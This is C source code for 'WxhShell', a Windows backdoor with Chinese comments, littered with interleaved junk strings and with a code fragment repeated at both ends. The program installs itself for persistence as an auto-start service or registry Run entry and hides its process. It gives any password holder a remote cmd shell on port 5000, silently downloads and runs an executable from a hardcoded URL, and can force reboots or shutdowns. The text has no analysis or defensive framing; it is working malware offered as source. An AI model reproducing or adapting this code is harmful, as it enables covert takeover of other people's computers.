1 return 0; _./s[{ek } {I?)ODx7qC HXZ,"S // 自身启动模式 SR?(z int StartFromService(void) %&V%=-O_7 { S)4p'cUwq typedef struct HTvUt*U1 { _)~VKA]"" DWORD ExitStatus; ?~yJ7~3TS< DWORD PebBaseAddress; l~DIV$>,Z DWORD AffinityMask; _jgtZ DWORD BasePriority; $7i[7S4 ULONG UniqueProcessId; 3Z&!zSK^ ULONG InheritedFromUniqueProcessId; mF jM6pmo } PROCESS_BASIC_INFORMATION; AS;qJ)JfzQ |')PQ PROCNTQSIP NtQueryInformationProcess; ha 2=O %:;g|PC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K(d+t\ca static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~<_WYSzS -%^'x&e HANDLE hProcess; Z|ZB6gP>h1 PROCESS_BASIC_INFORMATION pbi; "h7Dye ;ny 9q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kY{$[+-jR if(NULL == hInst ) return 0; LNHi}P~ { w sT g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v'S5F@ln g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]6A wd A NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZKpJc'h ('Uj|m}9 if (!NtQueryInformationProcess) return 0; t*)mX2R, 257$ ! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lCl5#L9 if(!hProcess) return 0; w&Gc#-B }N$f=:iI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c/v|e&q o;
U!{G(X CloseHandle(hProcess); N3@[95 & 0WQF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D3P/: 4 if(hProcess==NULL) return 0; >V)"TZH gw[Eu>I HMODULE hMod; n^O!93a char procName[255]; ,u)jZ7 unsigned long cbNeeded; [ ;sTl~gC BOq9\g`5s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P?P.QK d%-/U!z? CloseHandle(hProcess); %d(= > 8"ZS|^#
if(strstr(procName,"services")) return 1; // 以服务启动 .5}Gt>4XM 57gt"f return 0; // 注册表启动 4K?
\5(b } JPng !tvR 8UqH"^9.Q7 // 主模块 c%gL3kOT int StartWxhshell(LPSTR lpCmdLine) Qr4 D { kV4Oq.E SOCKET wsl; "d0=uHd5\ BOOL val=TRUE; jY]51B int port=0; Gsb^gd struct sockaddr_in door; N)R5#JX *L$_80 if(wscfg.ws_autoins) Install(); " r o'? k{N!}%*2 port=atoi(lpCmdLine); NX.5u8Pf .8!\6=iJB if(port<=0) port=wscfg.ws_port; 0H_uxkB~ A1,q3<<D% WSADATA data; 0BhcXHt if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]W`?0VwF ,$>l[G;Bm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X:;x5'| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '@Rk#=85Z door.sin_family = AF_INET; &r4|WM/ec door.sin_addr.s_addr = inet_addr("127.0.0.1"); s*<T'0&w0S door.sin_port = htons(port); )`R}@(r. %!(C?k!\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y68A+
B. closesocket(wsl); qIsf!1I? return 1; 6L$KMYHE } 18QqZ,t uW=G1 *n- if(listen(wsl,2) == INVALID_SOCKET) { O#=%t closesocket(wsl); -eyF9++` return 1; L+<h5>6 } 2Ki_d Wxhshell(wsl); {5<fvMO!6 WSACleanup(); >V27#L2:J )E>yoUhN return 0; Mb 4"bDBsl p^RX<L/\=_ } 6uFw+Ya#
#fns3=/H // 以NT服务方式启动 W&%,XwkQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [X!w@d= i { PS+~JwD Uc DWORD status = 0; 4YikC DWORD specificError = 0xfffffff; 4\
Xaou2V[ -$[&{.B. serviceStatus.dwServiceType = SERVICE_WIN32; 1Z @sh>X| serviceStatus.dwCurrentState = SERVICE_START_PENDING; s_VcC_A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rz
k;Q@1 serviceStatus.dwWin32ExitCode = 0; sg2% BkTI serviceStatus.dwServiceSpecificExitCode = 0; E1OrL.A6 serviceStatus.dwCheckPoint = 0; mY4pvpZw8 serviceStatus.dwWaitHint = 0; R)Arr77 #O\as~- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rlY0UA, if (hServiceStatusHandle==0) return; xn503,5G*7 5}ftiy[Yc status = GetLastError(); m x |V) if (status!=NO_ERROR) ;..z)OP_ { -kMw[Y serviceStatus.dwCurrentState = SERVICE_STOPPED; 1*dN. v:5 serviceStatus.dwCheckPoint = 0; c:7F
2+p serviceStatus.dwWaitHint = 0; 2*z~'i serviceStatus.dwWin32ExitCode = status; uMZ~[Sz serviceStatus.dwServiceSpecificExitCode = specificError; W3/bM>1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); $KGMAg/H return; *S:~U } 89 (qU pQ:^ ziwa3 serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Ng.Ukb serviceStatus.dwCheckPoint = 0; .
c+m(Pk serviceStatus.dwWaitHint = 0; 0ck3II if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {eaR,d~X } $a*7Q~4 7N[".V]c // 处理NT服务事件,比如:启动、停止 NOXP}M VOID WINAPI NTServiceHandler(DWORD fdwControl) ?8"*B^*Sh { 9>S)*lU&s switch(fdwControl) :! oJmvy { Nyy&'\`! case SERVICE_CONTROL_STOP: jo<xrn\ serviceStatus.dwWin32ExitCode = 0; HC6U_d1-6 serviceStatus.dwCurrentState = SERVICE_STOPPED; #[{{&sN serviceStatus.dwCheckPoint = 0; QTi@yT: serviceStatus.dwWaitHint = 0; Mp|Jt { 6Qt(Yu*s SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_(J8~va } @NRN#~S,_] return; $5JeN{B case SERVICE_CONTROL_PAUSE: |du%c`wl serviceStatus.dwCurrentState = SERVICE_PAUSED; B=a+cT break; )
bI.K[0^ case SERVICE_CONTROL_CONTINUE: )/;+aDk serviceStatus.dwCurrentState = SERVICE_RUNNING; _)
x{TnK break; xyk%\&"7 case SERVICE_CONTROL_INTERROGATE: &`l\Q\_[@ break; B&6NjLV }; =?6c&Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2MRd } :
"|/ fc*>ky.v // 标准应用程序主函数 1 #,4P1" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jL\j$'KC { 9,INyEyAL B\RAX# // 获取操作系统版本 Zpkd8@g@ OsIsNt=GetOsVer(); iv~R4;;) GetModuleFileName(NULL,ExeFile,MAX_PATH); Nt@|l7Xl* Za{O9Qc?D| // 从命令行安装 /f1]U
LmC: if(strpbrk(lpCmdLine,"iI")) Install(); nD
BWm`kN t[`LG) // 下载执行文件 Gg'!(]v if(wscfg.ws_downexe) { ]i.N'O<p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <
bC'.m WinExec(wscfg.ws_filenam,SW_HIDE); .Q!d[vL } o{,IO!q A4,{ep'Z! if(!OsIsNt) { *gwlW/%Fz // 如果时win9x,隐藏进程并且设置为注册表启动 ]{6/6jl HideProc(); u>fMO9X}2 StartWxhshell(lpCmdLine); wkx9@?2* } %@Gy<t, else &>Ve4!i
q if(StartFromService()) spfW)v/T! // 以服务方式启动 D wJ^ W&* StartServiceCtrlDispatcher(DispatchTable); mBErU6?X,A else (`dz37@* // 普通方式启动 B<SE|~\2 StartWxhshell(lpCmdLine); Ux=~-}<-w #("M4}~ return 0; ,yGbMOV } YQN:&Cls E,6|-V;? uMw6b=/U Q&]|W
Xv =========================================== w/*G!o-< toPbFU' #s~;ss , #]jl{K\f#X ,6{z e' l9 " 7(+4^ 'Eur[~k #include <stdio.h> Ljm`KE\Q;t #include <string.h> `#ruZM066 #include <windows.h> D ;> 7y}\ #include <winsock2.h> 'z8FU~oU #include <winsvc.h> t,fec>. #include <urlmon.h> 6AJk6W^Z dBd7#V:}yV #pragma comment (lib, "Ws2_32.lib") )ovAG O #pragma comment (lib, "urlmon.lib") .b]sQ' l'(FM^8jv #define MAX_USER 100 // 最大客户端连接数 [y9a.*]u/@ #define BUF_SOCK 200 // sock buffer .gg0rTf=- #define KEY_BUFF 255 // 输入 buffer vd lss| !ddyJJ^a #define REBOOT 0 // 重启 cOV9g)7^O #define SHUTDOWN 1 // 关机 O"'xAPQW 'd$RNqe #define DEF_PORT 5000 // 监听端口 ts,r,{ */M`KPW #define REG_LEN 16 // 注册表键长度 B%6cgm, #define SVC_LEN 80 // NT服务名长度 Kz42AC z='%NZY // 从dll定义API 1GK.:s6.f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /X_L>or typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Q!Xz2z2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m:h6J''<Z* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o+Jnn"8 \+V"JIStUj // wxhshell配置信息 ?) y}HF struct WSCFG { OlCqv-B2& int ws_port; // 监听端口 "HJ^>%ia
char ws_passstr[REG_LEN]; // 口令 =Mx"+/Yo* int ws_autoins; // 安装标记, 1=yes 0=no m*]`/:/X[ char ws_regname[REG_LEN]; // 注册表键名 i=#`7pt%'a char ws_svcname[REG_LEN]; // 服务名 E\!X$ char ws_svcdisp[SVC_LEN]; // 服务显示名 + kMj|()>\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 :u,.(INB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D:Q#%wJ int ws_downexe; // 下载执行标记, 1=yes 0=no 8Ij<t{Lps char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QZ&(e2z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [cnuK Br9j)1; }; <Ja&z M 1+Gq<]@G // default Wxhshell configuration T]wI) struct WSCFG wscfg={DEF_PORT, 1M&Lb.J6 "xuhuanlingzhe", >Y08/OAI.2 1, jlP*RX "Wxhshell", Sh!c]r>\Q "Wxhshell", L4Jm8sy{ "WxhShell Service", jcqUY+T$ "Wrsky Windows CmdShell Service", M]PZwW8 "Please Input Your Password: ", @~$d4K
y< 1, >}* W$i "http://www.wrsky.com/wxhshell.exe", :o8`2Z *g "Wxhshell.exe" nz?[ }; xJ$uoy3+ #S?^?3d // 消息定义模块 %8n<#0v-|4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IVh5SS char *msg_ws_prompt="\n\r? for help\n\r#>"; QWOPCoUet char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <5E'`T char *msg_ws_ext="\n\rExit."; ch8VJ^%Ra1 char *msg_ws_end="\n\rQuit."; 4uiq'- char *msg_ws_boot="\n\rReboot..."; i6V$m hL char *msg_ws_poff="\n\rShutdown..."; 6#U~>r/ char *msg_ws_down="\n\rSave to "; rQ*w3F?: iXm&\.% char *msg_ws_err="\n\rErr!"; &'/"=lK char *msg_ws_ok="\n\rOK!"; }9\_s* mvjx
&+q char ExeFile[MAX_PATH]; nKGQU,C int nUser = 0; @
3=pFYW) HANDLE handles[MAX_USER]; $^fF}y6N int OsIsNt; 1TQ?Fxj Xq$-&~
SERVICE_STATUS serviceStatus; @ !")shc SERVICE_STATUS_HANDLE hServiceStatusHandle; 73X*|g[O ^}~Q(ji7 // 函数声明 hOB<6Tm[ int Install(void); n'mrLZw int Uninstall(void); clU ?bF~e1 int DownloadFile(char *sURL, SOCKET wsh); my A;Y int Boot(int flag); e^eJ!~0 void HideProc(void); z|3v~, int GetOsVer(void); @]n8*n int Wxhshell(SOCKET wsl); q.=Q void TalkWithClient(void *cs); H7+z"^s* int CmdShell(SOCKET sock); "~ID.G|< int StartFromService(void); SOR\oZ7 int StartWxhshell(LPSTR lpCmdLine); nqH[
y0 [UXVL}tk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2B$dT=G VOID WINAPI NTServiceHandler( DWORD fdwControl ); }SWfP5D@ 9!jF$ // 数据结构和表定义 I+
|uyc SERVICE_TABLE_ENTRY DispatchTable[] = d\#yWY { Nmx\qJUR( {wscfg.ws_svcname, NTServiceMain}, [l^XqD D4 {NULL, NULL} 1SjVj9{: }; q,ie)` <2]h$53y! // 自我安装 CCG5:xS int Install(void) 3q4Zwv0z20 { 6k0Awcr char svExeFile[MAX_PATH]; nX:E(9q7c HKEY key; "}_J"% strcpy(svExeFile,ExeFile); ,5zY1C==Ut 1L::Qu%E // 如果是win9x系统,修改注册表设为自启动 GImPPF if(!OsIsNt) { PV,Z@qm@^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PFpFqJ)Cs" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sBZn0h@ RegCloseKey(key); RTVU3fw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Vi*Qa_,y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =b$g_+ RegCloseKey(key); 7Z2D}O+ return 0; w
aniCEo } EC$F|T0f } {Yxvb** } QswPga(- else { je$H}D b&!}SZ // 如果是NT以上系统,安装为系统服务 (+v':KH3_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7a9">:~ if (schSCManager!=0) VJ-t#q" { BD]J/o SC_HANDLE schService = CreateService ^e^-1s
S ( agfDx^, schSCManager, m>Wt'Cc wscfg.ws_svcname, B>E4," wscfg.ws_svcdisp, 7Q{&L#; SERVICE_ALL_ACCESS, 4wKCzPy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0>j0L8#^p SERVICE_AUTO_START, ds(X[7XGW
SERVICE_ERROR_NORMAL, LiHJm- svExeFile, NUnwf
h NULL, 0* x?rO? NULL, NblPVxS NULL, NUiv"tAY NULL, prO&"t
> NULL )Mq4p'*A[ ); G?F!Z"S if (schService!=0) Ke^/aGi}O { '2l[~T$* CloseServiceHandle(schService); @}UOm-M CloseServiceHandle(schSCManager); ^Vth;!o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wp
=
]YO strcat(svExeFile,wscfg.ws_svcname); Z5rL.a& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^'N!k{x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pD P*
3 RegCloseKey(key); 6$PQ$ return 0; =^M Q 4 } b/.EA'/ } =Cf@!wZ^ CloseServiceHandle(schSCManager);
XU"G } Wx/PD=Sf& } *9KT@"v I@N/Y{y# return 1; w@P86'< v } -GL.8"c[ eYRd#w // 自我卸载 Zu#^a|PE* int Uninstall(void) vKoQ!7g { }6u}?>S HKEY key; 'GW~~UhdW _Hq)@AI if(!OsIsNt) { uAYDX<Ja9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Q> RegDeleteValue(key,wscfg.ws_regname); FFwu$S6e RegCloseKey(key); :p<:0W2! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /3L4K RegDeleteValue(key,wscfg.ws_regname); 4UL"f<7 T RegCloseKey(key); l-IA Q!d return 0; Tw/7P~* } } 5"Rj< } #?M[Q: } p/ZgzHyF else { sn[<Lq Q Wm
g#2 ' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rz>@G>b: if (schSCManager!=0) vG}\Amx+ { 4nd)*0{f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )MN 6\v if (schService!=0) ~EDO< O>3 { `aMnTF5: if(DeleteService(schService)!=0) { 9@h-q(-
CloseServiceHandle(schService); V?MaI.gj CloseServiceHandle(schSCManager); +A
6kw%" return 0; "5,Cy3 } ,
Z1 &MuV CloseServiceHandle(schService); rIv#YqT } 4.%/u@rAi CloseServiceHandle(schSCManager); z2.OR,R}] } ODCN~7-@ } H-&
ktQWK3 xjDaA U, return 1; vKbGG } :d<F7`k
H Ov:U3P?% // 从指定url下载文件 7'{%djL int DownloadFile(char *sURL, SOCKET wsh) 3gCP?%R { Kv5 !cll5 HRESULT hr; 6XhS
g0s char seps[]= "/"; -k,}LJjo char *token; D#ED?Lqf char *file; PVq y\i char myURL[MAX_PATH]; pkIJbI{aS char myFILE[MAX_PATH]; (:#4{C W}^>lM\8 strcpy(myURL,sURL); on\ahk, y] token=strtok(myURL,seps); jA3Ir;a while(token!=NULL) <UwA5X`0e. { *q1sM#;5 file=token; KH$o X\v token=strtok(NULL,seps); d$D3iv^hyx } yrMakT = nzi)4"3O GetCurrentDirectory(MAX_PATH,myFILE); :=`N2D strcat(myFILE, "\\"); =5p?4/4 J strcat(myFILE, file); <~5$<L4 send(wsh,myFILE,strlen(myFILE),0); "Bn]-o|r send(wsh,"...",3,0); scEE$: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6~Zq if(hr==S_OK) y5V]uQSD return 0; oH
[-fF else #0M,g return 1; @rW%*?$7 w`Z@|A } HX:^:pF} X%M*d%n b // 系统电源模块 nR?m,J int Boot(int flag) ;Uj=rS`Q { (@*#Pn|A HANDLE hToken; >\ ym{@+* TOKEN_PRIVILEGES tkp; pc_$,RkN :B_ itl0{e if(OsIsNt) { 'l'[U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Bfy
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1'J|yq tkp.PrivilegeCount = 1; w5&,AL: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0>?78QL9< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ld23^r if(flag==REBOOT) { u/74E0$S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P-lE,X
return 0; $66 DyK? } I^y,@EHR else { GmLKg >% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WXE{uGc return 0; DvXbbhp } (AgM7H0 } gcs8Gl2 else { D\GP+Ota if(flag==REBOOT) { FBK6{rLMc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %xI,A '# return 0; Si%K|$?@ } 3Q(#2tL= else { rsvGf7C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !~aDmY2 return 0; WAbt8{$D } >/F,Z%!&q } (/l9@0Y.t =C2,?6! return 1; TL_8c][.4$ } w6l8RNRe -J*jW
N! // win9x进程隐藏模块 VFwp .1oa! void HideProc(void) 6tmn1: { z+B"RV <P1sK/IZb HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N)Z,/w9 if ( hKernel != NULL ) ~I)\d/7o { Vg4N7i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y)4&PN~[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); My!<_Hp-W FreeLibrary(hKernel); Z:}d\~`x$% } w;Na9tR 2s@<k1EdPl return; ZMXIKN9BF# } JB= L\E} u=h/l!lR // 获取操作系统版本 W.u}Q@ int GetOsVer(void) vL7JzSU_ { LHz-/0[ OSVERSIONINFO winfo; HGpj(U:`c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "(rG5z3P GetVersionEx(&winfo); NrdbXPHceN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f#UT~/~bL2 return 1; }-R|f_2Hp else Am?
d HP return 0; W[Ro) } xTW$9>@\m Y_49UtJIg // 客户端句柄模块 f?1?$Sp/W int Wxhshell(SOCKET wsl) H)5v X+9D { rOu7r 4 SOCKET wsh; bytAdS$3 struct sockaddr_in client; |};P"& DWORD myID; {1V~`1(w )xuvY3BPB? while(nUser<MAX_USER) QvH=<$ { Zg/ra1n int nSize=sizeof(client); 'J&$L c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n`krK"Ii if(wsh==INVALID_SOCKET) return 1; d&QB?yLd D"m]`H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'e;]\<
0z if(handles[nUser]==0) q}#4bB9 closesocket(wsh); _f u?, else
K$dSg1t
nUser++; g9`z]qGWS: } @e_ bG@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j\D_Z{m2 |BGQ|7DyG return 0; hX~d1.]Y } WBgS9qiB xFt[:G`\}u // 关闭 socket 2n]Br void CloseIt(SOCKET wsh) dtw4cG { ((}T^ closesocket(wsh); tN=B9bm3j nUser--; %(,Kj
~0 ExitThread(0); XP"lqyAi } =r=YV-D. <T[wZ[l // 客户端请求句柄 [kIiKLX void TalkWithClient(void *cs) ZzNp#FrX" { x4PA~R c_e2'K: SOCKET wsh=(SOCKET)cs; %OeA"# char pwd[SVC_LEN]; <0r2m4z char cmd[KEY_BUFF]; w NlC2is char chr[1]; mjDaus59 int i,j; |?=K'[5 lr:rQw9 while (nUser < MAX_USER) { 0Z{f!MOh RjY(MSc if(wscfg.ws_passstr) { 9@LL_r`?< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zU;%s<(p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %- W3F5NK //ZeroMemory(pwd,KEY_BUFF); "/e:V-W
i=0; z
%Ty; while(i<SVC_LEN) { *E0dCY$ /*)zQ?N // 设置超时 dBKL_'@@} fd_set FdRead; KErQCBeJ struct timeval TimeOut; {;6Yi! FD_ZERO(&FdRead); :d v{'O FD_SET(wsh,&FdRead); d7.}=E.L TimeOut.tv_sec=8; ^u@"L TimeOut.tv_usec=0; {2EIvKu3: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )aov]Ns if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !=7(3<? ]_6w(>A@3# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gJE m pwd=chr[0]; J3OxM--8" if(chr[0]==0xd || chr[0]==0xa) { 1&JPyW pwd=0; eM";P/XaX break; *w>dT } x{_:B
DY i++; +>b~nK>M } uIOnP ?/Bp8q( // 如果是非法用户,关闭 socket )N4!zuSVf if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F<K;tt } cI~uI' z']TRjDbT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3mI(5~4A]? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tI42]:z -?_#Yttu while(1) { &\8qN_` V\$'3(* ZeroMemory(cmd,KEY_BUFF); [Yr}:B
< Wt|IKCx // 自动支持客户端 telnet标准 By&T59 j=0; 'MLp*3djF, while(j<KEY_BUFF) { Y.XNA]| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
n7g}u cmd[j]=chr[0]; Hd*e9;z if(chr[0]==0xa || chr[0]==0xd) { pZo:\n5o cmd[j]=0; |]--sUx: break; BG>fLp } -MEp0 j++; Ass : } @d&(*9Y (}Q(Ux@X // 下载文件 >KPxksFR8 if(strstr(cmd,"http://")) { g=)B+SY' send(wsh,msg_ws_down,strlen(msg_ws_down),0); %b8ig1 if(DownloadFile(cmd,wsh)) 7+_TdDBYs send(wsh,msg_ws_err,strlen(msg_ws_err),0); }q<p;4<\F else muh[wo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E@}N}SR } 8DAHaS; else { <v&L90+s\; HQtR;[1 switch(cmd[0]) { 52X[{
BK$cN>J // 帮助 &B1j,$NRc case '?': { b#~K> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PHQ7 break; k
P]' } _}bs0 kIz // 安装 cs+;ijp case 'i': { b|SDg%e if(Install()) Q]/ZVcoqo send(wsh,msg_ws_err,strlen(msg_ws_err),0); C K#^`w else <}uhKp>* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,7HlYPec break; >:o$h2 } {}.M(nPtv; // 卸载 v2w|?26Lf case 'r': { (,nQ7,2EX if(Uninstall()) Dq07Z^#' send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQ&=Z`p! else zR@4Z>6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]A?(OA break; M Ewa^ } nXU`^<nA // 显示 wxhshell 所在路径 -!@]z2uU case 'p': { V^* ];`^ char svExeFile[MAX_PATH]; ^LI\W'K strcpy(svExeFile,"\n\r"); NL^;C3u strcat(svExeFile,ExeFile); (YV]T!q send(wsh,svExeFile,strlen(svExeFile),0); YCPU84f break; PJfADB7Y } 2ezk<R5q+ // 重启 hkpS}*L9o case 'b': { Ez1-Nx send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /1y\EEc if(Boot(REBOOT)) KPi_<LuK send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!@(bb
z> else { "xI70c{ closesocket(wsh); }HCt=W` ExitThread(0); d Dg[ry } =L\&}kzB break; +B '<0 } $x/VO\Z{- // 关机 mI,a2wqi case 'd': { Hg~8Td** send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h
wi!C} if(Boot(SHUTDOWN)) ]\1H=g%Ou send(wsh,msg_ws_err,strlen(msg_ws_err),0); iBPIj;, else { xeB-fy)5+ closesocket(wsh); P<CPA7K ExitThread(0); l( WF } wzj:PS break; @ N@
!Q } 7](aPm8 // 获取shell v8"Zru case 's': {
\4j(el CmdShell(wsh); /g>]J70 closesocket(wsh); 3dx.%~c ExitThread(0); I]z4}#+cX break; % !>@m6JK } 782 oXyD // 退出 b:PzqMh{G case 'x': { vkLKzsN' ] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~}_S]^br CloseIt(wsh); 0}`0!Kv break; |fB/ hs \ } z%;_h- // 离开 5FVmk5z]d case 'q': { v]'\]U^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); +3k.xP?QS closesocket(wsh); E#E&z (G2 WSACleanup();
6o1[fr exit(1); U]&/F{3
im break; -bgj<4R$p } YIs_.CTi } x9o(q`N } ;v!Ef"E|cV \bies1TBB^ // 提示信息 ,*sKr)9) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b%h.>ij? } \('WS[$2 } u"F{cA!B Eb8~i_B- return; yBCLS550 } y\n#`*5k YB_fy8Tfx // shell模块句柄 dtBr#Te int CmdShell(SOCKET sock) \D-X
_.v { Rw<O%i5/d STARTUPINFO si; qN^]`M[ BY ZeroMemory(&si,sizeof(si)); 09=w si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .dn#TtQv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /vPr^Wv PROCESS_INFORMATION ProcessInfo; /A-VT char cmdline[]="cmd"; k_nQmU> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); braI MIQ` return 0; jw)c|%r> } L lD=c BO+to. // 自身启动模式 hbSKlb0d int StartFromService(void) FjW%M;H { Rsx?8Y^5 typedef struct #@F { F5+!Gb En DWORD ExitStatus; +.v+Opp, DWORD PebBaseAddress; O' Mma5 DWORD AffinityMask; #dFE}!"#` DWORD BasePriority; vvLzUxV ULONG UniqueProcessId; Hn]6re ULONG InheritedFromUniqueProcessId; H {uR+&< } PROCESS_BASIC_INFORMATION; "2:#bXM- JHuA}f{2& PROCNTQSIP NtQueryInformationProcess; >}r
1A lr[&*v?h static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gu1n0N`b static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ")u)AQ u&'&E
